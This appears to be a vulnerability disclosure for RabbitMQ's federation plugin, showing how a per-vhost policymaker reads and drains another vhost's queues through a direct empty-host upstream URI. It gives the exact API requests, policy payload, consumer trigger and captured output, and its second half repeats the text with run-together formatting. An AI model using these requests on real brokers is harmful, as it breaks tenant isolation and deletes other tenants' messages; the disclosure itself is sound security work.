Summary
- What the bug lets you do. A
policymaker on one vhost reads and drains messages out of another vhost it has no permission on. With the default ack-mode the source messages are consumed (deleted), not copied.
- Why that should not work. vhost isolation is RabbitMQ's tenancy boundary.
policymaker is documented as scoped to "virtual hosts to which they can log in via AMQP", so reaching an unrelated vhost is outside that authority.
- What is missing. When a federation-upstream URI is an empty-host ("direct") connection, the validator never checks the creating user against the vhost embedded in that URI.
- How we know it is a mistake, not a design choice. RabbitMQ's own Shovel plugin runs exactly this check on the same direct-connection primitive (
check_vhost_access on the URI's vhost). Federation's equivalent validator skips it.
- Where it was reproduced. Reproduced live on
rabbitmq:4.3.2-management (2026-07-14) with real captured markers below, and source-traced at tag v4.3.2 (a509158b). The vulnerable code is unchanged on main and present long ago.
Attack scenario
Setup. Two vhosts, /attacker and /victim. A low-trust tenant user mallory has the policymaker tag and full permissions on /attacker, and no permissions on /victim.
- Step 1 — the legitimate boundary holds.
mallory tries to reach /victim directly and is refused, over both the management API and AMQP:
GET /api/queues/%2Fvictim/secrets -> {"error":"not_authorised","reason":"User not authorised to access virtual host"}
AMQP connect to vhost /victim -> (530) NOT_ALLOWED - access to vhost '/victim' refused for user 'mallory'
- Step 2 — the working request. As
policymaker on /attacker, mallory declares a federation-upstream whose URI is an empty-host (direct) connection to /victim, plus a queue and a policy binding it — all on /attacker, all accepted (HTTP 201):
PUT /api/parameters/federation-upstream/%2Fattacker/drain {"value":{"uri":"amqp:///%2Fvictim"}}
PUT /api/queues/%2Fattacker/secrets
PUT /api/policies/%2Fattacker/drain-policy {"pattern":"^secrets$","definition":{"federation-upstream":"drain"},"apply-to":"queues"}
- Step 3 — the payoff.
mallory attaches an AMQP consumer to her /attacker/secrets queue. Federation opens amqp:///%2Fvictim as an internal direct connection authenticated as user=none, the dummy backend approves every check, and /victim's messages are pulled into /attacker:
-- consumer receives VICTIM_SECRET_1 / _2 / _3
-- /victim queue "secrets" depth goes 3 -> 0 (default ack-mode on-confirm drains it, not copies)
Net effect. A policymaker scoped to /attacker reads and drains messages from /victim, a vhost it was never granted. Federating a named queue needs the attacker to know or guess that queue's name; the vhost isolation boundary itself is bypassed regardless.
Details
- Federation validates the upstream URI without any vhost-access check.
- Only a per-vhost
policymaker tag is required, checked against the request-path vhost — never the vhost inside the URI value.
- The upstream connection params are built straight from the URI, with no user injected.
- The direct connection therefore authenticates as the dummy (no-auth) user, whose access checks are hardcoded true.
rabbit_direct.erl:51-52 — auth_fun({none,_},…) returns rabbit_auth_backend_dummy:user().
:187 — connect1/4 still calls check_vhost_access(User, VHost,…), but User is the dummy identity, so it dispatches to the dummy backend and is a no-op. The guard exists; the no-auth identity defeats it.
rabbit_auth_backend_dummy.erl:35-37 — check_vhost_access/check_resource_access/check_topic_access all hardcoded -> true.
- Confirmed live:
GET /api/connections during the attack shows the federation link's connection into /victim as "user":"none", "protocol":"Direct 0-9-1".
- The federation link then runs against the attacker-controlled direct params.
Impact
- Cross-vhost message read/drain from a per-vhost
policymaker, breaking vhost tenancy isolation.
- Requires only the
policymaker tag on one vhost the attacker legitimately controls.
Reproduction
Reproduced on rabbitmq:4.3.2-management (2026-07-14). Run the attached proof-of-concept (Dockerised): bash run.sh brings up the broker, provisions the users, and prints the markers below.
Vhost names have a literal leading slash (/attacker, /victim); %2F in the API paths below is that slash, percent-encoded.
-
Start the broker; rabbitmq-plugins enable rabbitmq_federation rabbitmq_federation_management. Create vhosts /attacker and /victim.
-
Create user mallory (tag policymaker only); grant full perms on /attacker and none on /victim.
-
As an operator, in /victim declare a durable queue secrets and publish VICTIM_SECRET_1/2/3 (e.g. PUT /api/queues/%2Fvictim/secrets {"durable":true} then POST .../publish). Depth is now 3.
-
As mallory, confirm /victim is refused directly:
GET /api/queues/%2Fvictim/secrets -> {"error":"not_authorised","reason":"User not authorised to access virtual host"}
AMQP connect /victim -> (530) NOT_ALLOWED - access to vhost '/victim' refused for user 'mallory'
- As
mallory, three calls on /attacker, each returns HTTP 201:
PUT /api/parameters/federation-upstream/%2Fattacker/drain {"value":{"uri":"amqp:///%2Fvictim"}}
PUT /api/queues/%2Fattacker/secrets {"durable":true}
PUT /api/policies/%2Fattacker/drain-policy {"pattern":"^secrets$","definition":{"federation-upstream":"drain"},"apply-to":"queues"}
- As
mallory, attach an AMQP consumer to /attacker/secrets. Queue federation pulls from the upstream only once a downstream consumer is attached, so this is what triggers the drain. Observed markers:
RECEIVED_MESSAGE: VICTIM_SECRET_1
RECEIVED_MESSAGE: VICTIM_SECRET_2
RECEIVED_MESSAGE: VICTIM_SECRET_3
/victim "secrets" depth after: {"messages":0} -- drained from 3 to 0
broker log: Federation queue 'secrets' in vhost '/attacker' connected to queue 'secrets' in vhost '/victim' on amqp:///%2Fvictim
GET /api/connections: the link into /victim shows "user":"none", "protocol":"Direct 0-9-1"
Summary
policymakeron one vhost reads and drains messages out of another vhost it has no permission on. With the defaultack-modethe source messages are consumed (deleted), not copied.policymakeris documented as scoped to "virtual hosts to which they can log in via AMQP", so reaching an unrelated vhost is outside that authority.check_vhost_accesson the URI's vhost). Federation's equivalent validator skips it.rabbitmq:4.3.2-management(2026-07-14) with real captured markers below, and source-traced at tagv4.3.2(a509158b). The vulnerable code is unchanged onmainand present long ago.Attack scenario
Setup. Two vhosts,
/attackerand/victim. A low-trust tenant usermalloryhas thepolicymakertag and full permissions on/attacker, and no permissions on/victim.mallorytries to reach/victimdirectly and is refused, over both the management API and AMQP:policymakeron/attacker,mallorydeclares a federation-upstream whose URI is an empty-host (direct) connection to/victim, plus a queue and a policy binding it — all on/attacker, all accepted (HTTP 201):malloryattaches an AMQP consumer to her/attacker/secretsqueue. Federation opensamqp:///%2Fvictimas an internal direct connection authenticated asuser=none, the dummy backend approves every check, and/victim's messages are pulled into/attacker:Net effect. A
policymakerscoped to/attackerreads and drains messages from/victim, a vhost it was never granted. Federating a named queue needs the attacker to know or guess that queue's name; the vhost isolation boundary itself is bypassed regardless.Details
rabbit_federation_parameters.erl:50-54— thefederation-upstreamclause ofvalidate/5discards the creating user (_User).:98-115—validate_uri/2only callsamqp_uri:parse/1; nocheck_vhost_access.policymakertag is required, checked against the request-path vhost — never the vhost inside the URI value.rabbit_mgmt_wm_parameter.erl:84-85— PUT gates onis_authorized_policies/2.rabbit_web_dispatch_access_control.erl:201-209—is_authorized_policies=is_admin orelse (is_policymaker andalso user_matches_vhost(...));user_matches_vhost/2checks only the vhost segment of the request path (vhost A), not the target vhost embedded inuri.rabbit_federation_upstream.erl:69-71—to_params/2callsamqp_uri:parse(URI, vhost(XorQ)); an empty-host URI yields#amqp_params_direct{virtual_host = <<"/victim">>, username = none}.amqp_uri.erl:107-124— empty host+port →#amqp_params_direct{virtual_host = VHost}(amqp:///%2Fvictim→/victim).amqp_client.hrl:32—#amqp_params_direct{}defaultsusername = none.rabbit_direct.erl:51-52—auth_fun({none,_},…)returnsrabbit_auth_backend_dummy:user().:187—connect1/4still callscheck_vhost_access(User, VHost,…), butUseris the dummy identity, so it dispatches to the dummy backend and is a no-op. The guard exists; the no-auth identity defeats it.rabbit_auth_backend_dummy.erl:35-37—check_vhost_access/check_resource_access/check_topic_accessall hardcoded-> true.GET /api/connectionsduring the attack shows the federation link's connection into/victimas"user":"none","protocol":"Direct 0-9-1".rabbit_federation_link_util.erl:35-52—start_conn_ch/5opens the upstream withopen_monitor(UParams#upstream_params.params, …)at:52.ack-modeison-confirm(rabbit_federation_upstream.erl:138), so forwarded messages are removed from the source queue — the read is destructive.Impact
policymaker, breaking vhost tenancy isolation.policymakertag on one vhost the attacker legitimately controls.Reproduction
Reproduced on
rabbitmq:4.3.2-management(2026-07-14). Run the attached proof-of-concept (Dockerised):bash run.shbrings up the broker, provisions the users, and prints the markers below.Vhost names have a literal leading slash (
/attacker,/victim);%2Fin the API paths below is that slash, percent-encoded.Start the broker;
rabbitmq-plugins enable rabbitmq_federation rabbitmq_federation_management. Create vhosts/attackerand/victim.Create user
mallory(tagpolicymakeronly); grant full perms on/attackerand none on/victim.As an operator, in
/victimdeclare a durable queuesecretsand publishVICTIM_SECRET_1/2/3(e.g.PUT /api/queues/%2Fvictim/secrets {"durable":true}thenPOST .../publish). Depth is now 3.As
mallory, confirm/victimis refused directly:mallory, three calls on/attacker, each returns HTTP 201:mallory, attach an AMQP consumer to/attacker/secrets. Queue federation pulls from the upstream only once a downstream consumer is attached, so this is what triggers the drain. Observed markers: